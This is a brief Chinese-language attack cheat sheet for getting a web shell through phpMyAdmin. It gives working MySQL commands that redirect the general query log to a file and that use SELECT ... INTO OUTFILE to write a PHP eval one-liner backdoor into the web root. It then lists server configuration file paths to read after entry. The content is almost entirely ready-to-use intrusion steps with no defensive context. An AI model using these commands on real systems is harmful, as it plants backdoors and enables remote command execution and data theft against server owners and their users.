phpmyadmin拿shell
一、查看绝对路径
select @@basedir;
二、日志文件写一句话
1、查看是否开启日志
show variables like '%general%';
2、设置日志状态
show variables like 'general_log'; // 查看日志是否开启
set global general_log=on; // 开启日志功能
show variables like 'general_log_file'; // 看看日志文件保存位置
set global general_log_file='C:\\phpStudy\\stu1.log'; // 设置日志文件保存位置
show variables like 'log_output'; // 看看日志输出类型 table或file
set global log_output='table'; // 设置输出类型为 table
set global log_output='file'; // 设置输出类型为file
3、写入一句话
<?php eval($_POST['cmd']);?>
4、连接一句话木马
三、导出一句话
1、查看是否允许被导入导出
- secure_file_priv为null 表示不允许导入导出;
- secure_file_priv指定文件夹时,表示mysql的导入导出只能在指定的文件夹;
- secure_file_priv没有设置时,则表示没有任何限制;
show global variables like '%secure%';
2、当secure_file_priv为空时,写入一句话
select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'c:/phpStudy/WWW/shell.php';
3、连接一句话
四、读取配置
- windows2003 iis6配置文件所在位置 C:\Windows/system32\inetsrv\metabase.xml
- win2008/2012 iis7.5 在这个文件 C:\Windows\System32\inetsrv\config\applicationHost.config
- Nginx配置 /etc/nginx/conf.d/vhost.conf /etc/nginx/nginx.conf
- apache配置 /etc/httpd/conf/httpd.conf /usr/local/apache2/conf/httpd.conf